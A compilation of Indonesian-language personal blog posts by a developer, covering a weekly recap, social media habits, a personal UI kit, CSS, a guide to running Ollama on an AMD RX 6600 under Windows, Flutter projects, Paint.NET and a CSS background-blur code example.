26 Agustus Cara Instal Ollama Menggunakan RX 6600 di Windows Awal minggu ini saya menulis tentang instalasi Ollama di sistem operasi Windows yang ditenagai kartu grafis RX 6600. Menariknya adalah saya tidak hanya membahas untuk model kartu grafis itu sendiri, namun juga model lain di seri yang sama, jadi cara instalasi inipun berguna untuk diterapkan di mesin dengan kartu grafis seri tersebut. 28 Agustus CSS is Dead, Long Live CSS Dua hari berikutnya saya menulis tentang kenapa CSS tidak kalah penting dari ketiga elemen pengembangan web. Saya menjelaskan dukungan kepada CSS dari komunitas dan browser membuatnya tetap relevan, dan perkembangan AI hanya mempermudah developer untuk menggunakan CSS tanpa meninggalkan penulisan CSS itu sendiri. Karena kepada CSS, desainer dan developer menggantungkan seni yang dituangkan lewat tampilan situs kepada pengguna. 30 Agustus Saya Harus Memiliki UI Kit Sendiri #2 Lalu di hari Jumat, saya melanjutkan artikel yang pernah saya tulis dengan judul yang sama untuk lebih merinci alasan kenapa saya harus membuat UI Kit sendiri sebagai developer yang memiliki selera desainer. Salah satu keinginan saya adalah untuk membuatnya dapat diterapkan ke multi-platform, sehingga jika aplikasi yang dibangun memang dibuat untuk multi-platform, desainnya dapat langsung diterapkan dengan konsisten. 31 Agustus Media Sosial Untukku Keesokannya di hari Sabtu, saya mencoba menceritakan alasan saya yang tidak menggunakan media sosial lebih dari 5 tahun. Sebenarnya bukan benar-benar tidak menggunakan media sosial, tapi saya menganggap fitur utama dari media sosial itu sendiri tidak ada. Saya tidak benar-benar menggunakan fitur chat, komentar di postingan, follow atau friends, dsb. Hal ini tentu bukan kebanggan karena saya sendiri pun merasa butuh dan terus mencari media sosial apa yang sebenarnya saya butuhkan.
TL;DR Selama lebih dari 5 tahun, saya melepaskan sosial media sebagai sarana bersosial. Alasan saya untuk tidak menggunakan media sosial memang keputusan yang benar sampai saat ini, namun tidak membuat saya merasa puas, hanya terus memikirkan adakah media sosial yang cocok untuk saya. Media Sosial saat ini adalah platform wajib yang semua orang gunakan untuk melakukan aktifitas sosial. Juga digunakan untuk membuat, membagikan, dan mencari ide konten. Postingan per Kategori Tentu hal utama yang harus ada dan tentunya saya butuhkan adalah fitur posting untuk membagikan konten berisi teks singkat, gambar, maupun tautan yang sedang saya pikirkan. Bukan postingan yang diacak untuk muncul di pengguna tertentu namun postingan yang bisa dipilih kategorinya oleh penulis sehingga pembaca dapat menemukannya, juga konten terkait lain yang ada dalam kategori tersebut. Grup Fitur grup di sosial media adalah ide jenius, pengguna bisa bergabung dengan pengguna lain yang sekiranya terkait dalam suatu hal. Saya rasa saya sangat membutuhkan fitur ini jika saya aktif di suatu media sosial. Fitur yang tidak saya perlukan Saat masih bermedia sosial saya jarang dan berencara untuk tetap tidak menggunakan fitur chat, follow, dan friends.Untuk fitur komen di kebanyakan media sosial saat ini masih sama seperti penilaian saat dulu, pengguna terlalu mudah untuk menuliskan benak tanpa batasan yang akibatnya pun tanpa ada batasan.
Dari artikel sebelumnya yang sudah saya buat, saya memutuskan untuk melanjutkan artikelnya karena masih ada beberapa catatan untuk diri saya sendiri soal alasan dan planning ini. Arti dari UI Kit Ini Yang saya bayangkan akan arti dari UI Kit ini bukan hanya teknik penerapan praktek melainkan ciri khas dan kesan pertama yang ingin saya tunjukkan dari diri saya, seperti mendesain cover buku. Seperti Apa Jadinya Hampir semua UI Kit menawarkan desain yang umum, dibuat cocok digunakan untuk keperluan apapun. Untuk beberapa komponen saya menginginkan UI yang pas untuk keperluan daripada memaksakan desainnya menjadi umum, agar tersampaikan arti dari desain itu sendiri. Menjadi yang Paling Bagus Ya, untuk diri saya sendiri, tergantung untuk berapa lama, tapi tentu banyak yang sudah lebih dahulu dan jauh lebih bagus dari yang akan saya buat. Waktu dan usaha lebih adalah harga yang harus ditukar untuk membuatnya tanpa menggunakan yang sudah ada. Kapan Saya Membutuhkannya Sejujurnya saya tidak yakin kapan saya membutuhkannya, yang saya pikirkan hanyalah saya membutuhkannya. Tidak menghiraukan kapan, bahkan kalaupun nantinya tidak saya butuhkan, setidaknya saya pernah membuatnya. Multi-platform Adalah Kunci Membuatnya tersedia untuk diimplementasi di lebih dari satu platform adalah kunci untuk membuat saya lebih bersemangat membuatnya dan saya rasa bersemangat untuk menggunakannya juga. Memiliki UI yang unik dan konsisten di multi-platform tentu adalah nilai lebih. Bagaimana Membuatnya Multi-platform Pengalaman saya dalam mendesain dan implementasi design ke berbagai platform cukup membuat saya membayangkan bagaimana saya membuatnya di platform Web, dengan alasan teknis saya memagarkan optimisme ini agar tetap ingin tahu akan hal yang belum saya kuasai.
TL;DR CSS adalah teknologi yang dibelakangkan untuk orang-orang yang ingin mempelajari web dev, padahal “ketidakhadirannya” saat ini adalah jawaban untuk pertanyaan: “Benarkah?”, di setiap saran influencer teknologi yang menyebut CSS paling tidak penting di antara ketiga teknologi utama web dev (HTML, CSS JS). CSS sama penting Dalam pekerjaan bahkan proyek pribadi, penggunaan CSS tetap sama penting.Siapa yang ingin membiarkan proyek pribadi yang akan digunakan sebagai portfolio berpenampilan seperti website jadul, tidak konsisten pada jarak, ukuran maupun warna di setiap komponen, atau jebol dari elemen parent-nya.Bukan beranggapan untuk menjadi yang paling cantik dan modern, tapi ini adalah cara mencoreti kanvas milik sendiri. Apa buktinya Pembaruan dan Dukungan CSSWG adalah komunitas penggiat CSS yang pada tahun ini baru saja merilis @property dalam proyek CSS Houdini, @property sendiri adalah rule alternatif dari :root yang berfungsi untuk mendeklarasikan variable. Pembaruan ini langsung diwadahi support dari browser modern.Per tanggal artikel ini dibuat, isu penggunaan shorthand agar lebih ringkas untuk rule @property ada dalam tahap proposal.@property: Next-gen CSS variables now with universal browser support @property" | Can I use Shorthand for custom property declaration Variasi library Perkembangan library JavaScript beriringan dengan variasi library CSS, masing-masing menawarkan solusi dalam kasus masalah yang berbeda. AI Tidak Memiliki Seni Penggunaan AI untuk menuliskan CSS sebagai jawaban dari pertanyaan yang dilontarkan, justru membuat percaya diri bahwa kemampuan dalam ber-CSS tidak tersingkirkan.Pada saat AI menghasilkan banyak class berisi banyak rule dalam sekejap, siapa yang akan mengeceknya, siapa yang tahu bagian mana yang benar, bahkan siapa yang tahu jawaban itu benar.
Apa itu Ollama AI Models Download Instalasi Apa itu Ollama Ollama adalah program open-source untuk menjalankan models untuk mengenali dan menghasilkan teks, serta memproses bahasa. Ollama dapat menjadi alternatif dari Copilot yang dibandrol $10/bulan untuk penggunaan individu. Secara official Ollama memberikan support untuk beberapa kartu grafis AMD pada tanggal 14 Maret 2024, termasuk Radeon RX 6000 series dimulai dari RX 6800. Ollama now supports AMD graphics cards Untuk seri lain seperti RX 6750 XT, RX 6700 XT, RX 6700, RX 6650 XT, RX 6600 XT, RX 6600, dapat menggunakan hasil fork Ollama yang dikhususkan untuk support lebih pada AMD. Windows-supported GPUs AI Model Per tanggal artikel ini dibuat, AI Model miliki google yaitu CodeGemma terbilang cukup baru, artikelnya merilis model 2b dan 7b pada tanggal 9 April di Hugging Face. CodeGemma - an official Google release for code LLMs Untuk spesifikasi penggunaan, menjalankan model 7B dibutuhkan setidaknya 8GB RAM tersedia, 16GB untuk menjalankan model 13B, dan 32GB untuk model 33B. Olla GitHub Download AMD HIP SDK untuk Windows Per tanggal artikel ini dibuat: ollama-for-amd tidak mendukung HIP SDK 6.1.2. Dukungan akan ditambahkan jika ada kecepatan menguntungkan yang signifikan. ROCmLibs ollama-for-amd Pembaruan tidak dilakukan lewat program, melainkan lewat repositori secara manual. CodeGemma Download menggunakan CLI Ollama Continue untuk VSCode Instalasi 1. Instal HIP SDK Biarkan checkbox sesuai bawaan dan lanjutkan instalasi. 2. Patch rocBLAS dengan ROCmLibs Buka folder C:\Program Files\AMD\ROCm\5.7\bin Backup file rocblas.dll dan folder library yang ada di dalam folder rocblas Ganti dengan rocblas.dll dan folder library milik ROCmLibs 3. Install ollama-for-amd 4. Pasang environtment path Ollama di Windows Edit variable Path, buat baru untuk path Ollama (Contoh: C:\Users\Budi\AppData\Local\Programs\Ollama) 5. Jalankan Ollama menggunakan CLI ollama serveollama run codegemma 6. Instal dan setup ekstensi Continue di VSCode Buka sidebar Continue di vertical tab VSCode Buka pengaturan, pastikan ada provider ollama dengan model yang sudah dijalankan "models": [ ... { "title": "CodeGemma", "provider": "ollama", "model": "codegemma" } ] time=2024-08-26T06:59:04.379+07:00 level=INFO source=types.go:105 msg="inference compute" id=0 library=rocm compute=gfx1032 driver=5.7 name="AMD Radeon RX 6600" Jika CLI Ollama menampilkan teks seperti di atas artinya RX 6600 sudah bisa menjalankan Ollama secara unofficial.
Apa itu UI Kit UI Kit adalah sekumpulan design komponen, yang sudah termasuk font, icon, asset lain yang diperlukan, dan dokumentasi penggunaan. Kenapa UI Kit UI Kit membuat implementasi design satu dan yang lain menjadi konsisten. Menggunakan komponen yang sama secara berulang atau menggunakan komponen modular untuk dipasangkan dengan komponen lain, memiliki UI Kit tentu sangat membantu. Kenapa Membuat UI Kit Sendiri Setiap orang memiliki selera yang berbeda, sama halnya designer yang memiliki value tersendiri dalam mengerjakan design.Sebagai contoh, jika dua orang designer mengerjakan design pada kasus yang sama, tentu hasil dan cara mengerjakannya tidak akan sama.Perbedaan cara pengerjaan tidak menentukan hasil yang lebih baik atau buruk, masing-masing designer memiliki alasan tersendiri.Mengapa designer A membuat komponen A seperti ini, mengapa designer B membuat komponen A seperti itu, mengapa designer A mengerjakan dengan cara seperti ini, sedangkan designer B mengerjakan dengan cara seperti itu.Alasan tersebut adalah salah satu alasan designer memiliki value.
Saya teringat sekitar tahun 2015, banyak blog lokal maupun mancanegara yang membahas kalau email marketing sudah tidak lagi relevan, alasannya karena pelanggan akan terganggu menjadikan ia tidak ingin untuk membuka email. Faktanya penggunaan email di bidang marketing masih populer digunakan hingga artikel ini dibuat, artinya tingkat efektifnya masih dibutuhkan. Beberapa waktu lalu saya membuat aplikasi untuk memudahkan user membuat email marketing sendiri, dengan desain yang dapat dimodifikasi, tanpa koding, dengan tampilan seminimal mungkin untuk proses penggunaan yang cepat. Aplikasi ini ditujukan untuk seorang marketing yang sudah tahu apa yang harus dilakukan dalam membuat sebuah email, misalnya judul, deskripsi, beberapa paragraf penting soal produk, juga daftar kontak. Saat pengembangan, saya melakukan uji coba yang menghabiskan waktu sekitar 5 menit untuk membuat sebuah email. Termasuk judul, deskripsi, step penggunaan produk, daftar distribusi aplikasi, daftar kontak, dan beberapa tautan penting, yang semua warnanya sudah disesuaikan. Asumsi saya adalah untuk user yang sudah tahu cara menggunakan aplikasi ini, butuh waktu 5-10 menit untuk membuat email marketing sendiri dengan syarat sudah memiliki bahan untuk ditulis. Jangka waktu yang sama juga dibutuhkan untuk menyalin kode HTML ke aplikasi email seperti Thunderbird, lalu mengirimkannya kepada para pelanggan. Sampai saat ini saya bersikeras bahwa aplikasi ini berpotensi untuk meminimalisir waktu (memudahkan) pekerjaan.
Paint.NET adalah software pengolah gambar raster di Windows yang rilis pada tahun 2004. Kesan Pertama Apa yang Saya Butuhkan Kelebihan Perubahan paling diingat Belum ada penggantinya Kesan Pertama Paint.NET yang sekarang pada artikel ini dibuat, masih sama seperti pertama saya menggunakannya pada tahun 2012. Kebutuhannya berawal dari hobi saya membuat aplikasi Windows. Apa yang Saya Butuhkan Kebutuhan saya akan image editing hanyalah menyunting gambar dan membuat aset aplikasi. Secara teknis, berikut adalah fitur yang selalu saya butuhkan dari Paint.NET. Select/Wand Eraser Resize Move Pencil/Brush Layers Bucket Color Picker Colors Gradient Crop Tabs Kelebihan Dalam garis besar, kelebihannya adalah Simpel, Cepat, dan Powerful. Perubahan paling diingat Saya ingat pada saat Paint.NET tidak lagi support di arsitektur 32-bit di versi 4.3.xx, yang membuat saya tinggal di versi 3.4.xx. Breaking changes tersebut memiliki kelebihan unlimited undo yang belum ada di versi sebelumnya. Belum ada penggantinya Atas dasar kebutuhan saya yang minimal, rasanya sulit mencari pengganti Paint.NET. Semangat untuk beralih ke software open source, belum membuat saya semangat untuk mempelajari software pengganti yang dirasa overkill. Semua ini adalah alasan kenapa saya memperbolehkan Paint.NET di mesin kerja saya, mengapa terus saya instal di mesin yang berbeda, faktanya saya menua bersamanya.
Kenapa Flutter? Teknologi yang masih terbilang baru Ekositem yang matang Menggunakan bahasa Dart yang type safe Dapat deploy multi-platform Banyak package yang tersedia Teknologi yang masih terbilang baru Flutter pertama kali rilis di tahun 2017, dimulai saat itu update secara publik diperbarui secara berkala, saat artikel ini dibuat Flutter sudah di versi 3.24. Ekositem yang matang Semenjak rilis flutter sudah memiliki ekosistem yang matang, yang saya maksud adalah kemudahan untuk menerapkan fitur yang ingin kita buat. Menggunakan bahasa Dart yang type safe Menulis di bahasa yang type safety meningkatkan kenyamanan saat development, kita bisa tahu ada error apa pada aplikasi sebelum di-debug dan di-build. Secara relatif fitur ini dapat menghemat waktu. Dapat deploy multi-platform Dalam sekali waktu development, kita bisa build ke platform yang berbeda seperti: Mobile (Android, iOS) Web dan Desktop (Windows, Mac, Linux) Banyak package yang tersedia Kita dapat menghemat waktu karena biasanya terdapat package yang tersedia untuk membantu kita untuk menerapkan sebagian ataupun penuh fitur yang ingin kita buat.
Pada tanggal 15 Agustus 2024, kemarin malam, saya membuat aplikasi bernama “WhatIf BMKG Down”. Apa maksudnya? Berita soal gempa megathrust yang seliweran di media sosial, memicu saya untuk membuat ini. Ide yang saya dapat langsung saya tuangkan ke nama aplikasi. Ada beberapa alasan kenapa saya membuat aplikasi ini, yaitu: Aplikasi atau website BMKG seringkali down saat diakses. Bukan ide yang sulit diterapkan dan dapat bermanfaat saat diperlukan. Resource, seperti API dan package yang mendukung untuk diterapkan. Kapan ini dibutuhkan? Dari hasil penelusuran singkat, saya menemukan berita terdahulu dibuat oleh CNBC Indonesia lewat kanal YouTube-nya yaitu 3 hari lalu dari artikel ini dibuat. Siapa sasarannya? Dibuat untuk penduduk Indonesia, itulah mengapa saya hanya mengintegrasi BMKG dan menyetel param API terbuka milik USGS ke kordinat Indonesia (Saya dapatkan dari salah satu jawaban dari pertanyaan di website Quora), walaupun begitu hasil dari USGS dapat menampilkan data gempa negara tetangga. Dapat diakses di mana? Aplikasi ini saya buat menggunakan framework Flutter, walaupun saya debug lewat Chrome, namun hanya saya build khusus untuk Android. Tautan unduh lewat Google Drive sudah saya masukkan ke repositori. Bagaimana saya membuatnya? Membuat aplikasi ini adalah pengalaman yang menyenangkan karena selama development saya dokumentasi lewat live streaming YouTube dengan teman yang dapat langsung berinteraksi kepada saya. Secara teknis saya mendapati kesulitan di luar dari gambaran, seperti package flutter_map leaflet yang tidak muncul karena tidak menggunakan option url_template , tipe model int dan double yang seharusnya num agar dinamis. Juga saya masih harus belajar cara theming flutter saat tidak menggunakan Material 3 .
Masalah Trend design yang beragam seringkali memunculkan perdebatan antara Designer dan Front-end tentang seimbangnya hasil design dengan kerumitan proses. Designer seringkali menghasilkan design tanpa memandang penerapan teknis. Front-end seringkali memandang rumit proses sehingga tampilan terasa tidak sebanding. Jalan tengah dari keduanya harus disepakati agar design dapat diterapkan sehingga menjadi website yang fungsional. Kasus Salah satu kasusnya adalah penerapan background blur pada suatu komponen di website. Gambar Contoh perbandingan background blur tanpa dan dengan pseudo Gambar sebelah kiri adalah contoh jika background blur langsung diterapkan di parent komponen. Gambar sebelah kanan adalah contoh jika menggunakan pseudo dari parent untuk menerapkan blur. Kode <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { background-color: #fff; margin: 0; color: #fff; font-family: sans-serif; } .list { position: relative; } div { width: 600px; height: 100dvh; margin: 0 auto; display: flex; align-items: center; } .ulist { list-style: none; width: 300px; height: calc(50dvh - (48px * 2)); margin: 0 auto; padding: 48px 36px; display: flex; flex-direction: column; justify-content: center; row-gap: 24px; font-size: 20px; font-weight: bold; line-height: 28px; letter-spacing: 2px; text-shadow: 1px 1px rgba(0, 0, 0, 0.75); overflow: hidden; } .ulist1 { position: relative; } .ulist1::before { content: ''; background-image: url('./img.webp'); background-position: center; background-repeat: no-repeat; background-size: cover; width: calc(100% + 8px); height: calc(100% + 8px); position: absolute; top: -4px; left: -4px; filter: blur(4px) opacity(0.75); } .ulist2 { background-image: url('./img.webp'); background-position: -4px -4px; background-repeat: no-repeat; background-size: cover; filter: blur(4px) opacity(0.75); } </style> </head> <body> <div> <ul class="ulist ulist2"> <li class="list">Home</li> <li class="list">About</li> <li class="list">Contact</li> <li class="list">Privacy Policy</li> <li class="list">Terms of Service</li> </ul> <ul class="ulist ulist1"> <li class="list">Home</li> <li class="list">About</li> <li class="list">Contact</li> <li class="list">Privacy Policy</li> <li class="list">Terms of Service</li> </ul> </div> </body> </html> Penjelasan Styling blur yang dimiliki parent akan turut diterapkan kepada semua children yang ada. Di sisi lain pseudo, adalah children dari parent yang tidak dapat menurunkan styling apapun kepada sibling.
Dalam bekerja, task baru datang hampir setiap hari yang mana task sebelumnya masih ada. Menggunakan task management seperti Trello bahkan text editor seperti notepad pun akan sangat membantu pada saat itu. Perasaan seperti canggung untuk bertanya adalah konsekuensi jika saya tidak mencatat sehingga lupa dengan task apa yang harus saya kerjakan. Tentu bukan hanya soal perasaan pribadi, jika dibiarkan hal ini akan berdampak buruk pada performa pekerjaan saya. Bagaimana agar segera mencatat task baru?Saya butuh yang ringkas, cepat, to-the-point. Trello adalah project management populer yang memiliki opsi gratis yang terbatas, saya sudah mencapai limit board di akun saya, jadi ini bukan lagi pilihan. Ada banyak proyek Kanban open-source, tapi perlu waktu untuk membangunnya dan membiasakan diri menggunakannya. Tampilannya mungkin mirip seperti Trello, tapi kenyamanannya tentu jauh berbeda. Bagaimana dengan Google Sheet? Saya biasa menggunakannya, namun untuk hal yang berbeda seperti kalkulasi pengeluaran. Saya ingin yang lebih ringkas dari ini. Lucunya Notepad di Windows 11 adalah yang saya butuhkan, fitur tabulasi dan simpan otomatis yang tidak ada di versi sebelumnya, termasuk Windows 10, yang sedang saya gunakan, membuat pencarian lawan dari pemenang ini berlanjut.
Kenapa 2D?Umumnya assets dalam Game Development sangat dibutuhkan. Membuat assets 2D secara umum tentu lebih mudah dibanding 3D, begitu juga kurva pembelajarannya.Berikut adalah perangkat lunak pengolah gambar untuk membuat assets 2D: Gambar Raster Adobe Photoshop (Berbayar, OS: Windows, MacOS) GIMP (Open-source, OS: Windows, MacOS, Linux) Paint.NET (Freeware, OS: Windows)Gambar Vector Adobe Illustrator (Berbayar, OS: Windows, MacOS) Inkscape (Open-source, OS: Windows, MacOS, Linux) Saya pribadi menggunakan Paint.NET yang menurut saya paling mudah dan cepat digunakan dari semua yang saya sebutkan di atas. Kenapa HTML?Mengembangkan UI menggunakan HTML adalah pilihan yang menarik. Kurva pembelajaran yang cepat, skalabilitas yang tidak terbatas dengan JavaScript, dan variasi property CSS yang terus diperbarui oleh komunitas. Kenapa tidak Game Engine?Game engine hanya dikhususkan untuk membuat game, developer yang juga fokus pada web development tidak perlu mempelajari suatu game engine jika sudah terbiasa menggunakan HTML.
Membangun suatu program menggunakan bahasa pemrograman bukanlah hal yang mudah, apalagi jika cakupan program menjadi lebih luas seiring kebutuhan. Memberikan nama pada variable tanpa mendeskripsikan tujuan variable tersebut dengan alasan waktu tentu bukan keputusan yang bijak. Bukan hanya soal kamu.Mungkin kalian pernah mendapati bahwa program yang sering kalian gunakan ternyata dibangun hanya dengan satu orang di belakangnya. Membangun aplikasi sendirian seringkali mengabaikan penamaan yang sesuai, dengan alasan tidak akan ada yang keberatan. Padahal bug seringkali didapati dalam masa pengembangan, mengabaikan penamaan yang deskriptif tentu membuang waktu dalam debugging. Developer bukan ahli mengingat.Dalam satu hari produktif, developer dapat menulis banyak sekali baris kode. Artinya banyak juga variable atau function yang dibuat/bersinggungan pada saat menulis. Jika terus terjadi, bukan hal yang mengagetkan jika iapun harus membaca berulang-ulang untuk tahu apa fungsi sebenarnya.
Saya adalah orang yang ingin terus melakukan sesuatu, yang walaupun saya tahu hasilnya tidak dapat dinikmati atau bahkan tidak akan berhasil. Menerapkan ide yang ada di kepala adalah sesuatu yang tak ternilai, ini adalah cara saya untuk membuat diri saya bahagia. Hal pertama yang saya lakukan adalah untuk segera mencatatnya, yang paling sering adalah menggunakan Handphone yang selalu ada di sekitar sebagai catatan 8W1H (Ada tiga Why, makanya bukan 5W1H). Apa yang ingin saya buat?Siapa yang membutuhkan ini?Di mana ia (membutuhkan/dapat mengakses) ini?Kapan ia membutuhkan ini?Mengapa ini perlu saya buat?Mengapa ini perlu saya buat (lagi)?Mengapa ini perlu saya buat (lagi)?Bagaimana cara saya membuat ini? Dari pertanyaan-pertanyaan tersebut, saya berempati untuk mengimajinasikan persona-persona yang membutuhkan proyek ini, setidaknya saya dapat 3. Kebutuhan dan kemudahan akses adalah masalah yang penting, saya harus memilih dengan tepat karena ini menentukan waktu pengembangan proyek. Contohnya adalah fitur dan detail seperti accessibilty dan animasi. Saya sebisa mungkin menghalau ide untuk membuat proyek yang hanya dibutuhkan dalam beberapa waktu saja, ini siasat saya menghindari hilangnya semangat karena anggapan bahwa ini sudah tidak relevan lagi. Kenapa, kenapa dan kenapa saya perlu membuat ini?Ini adalah ilmu yang saya dapatkan dari CEO tempat saya pernah bekerja. Terkadang kita memikirkan hal yang sebenarnya tidak perlu namun masuk akal untuk dilakukan. Misalnya, prakarsa menambahkan fitur atau bahkan saat memulai proyek. Trik ini berguna untuk menghindari cost yang akan dikeluarkan, umumnya waktu pengembangan. Pertanyaan terakhir adalah bagaimana. Dari sekian banyak solusi digital saat ini, saya terus beranggapan bahwa menggunakan apapun yang membuat saya senang, akan membuat saya bersemangat untuk mengerjakannya secara konsisten.
